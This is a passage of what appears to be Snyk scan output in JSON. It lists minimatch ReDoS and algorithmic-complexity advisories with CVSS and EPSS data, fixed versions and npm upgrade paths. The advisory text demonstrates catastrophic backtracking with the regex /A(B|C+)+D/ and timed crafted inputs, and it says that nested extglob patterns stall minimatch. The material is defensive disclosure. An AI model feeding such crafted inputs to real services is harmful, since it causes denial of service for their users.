attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 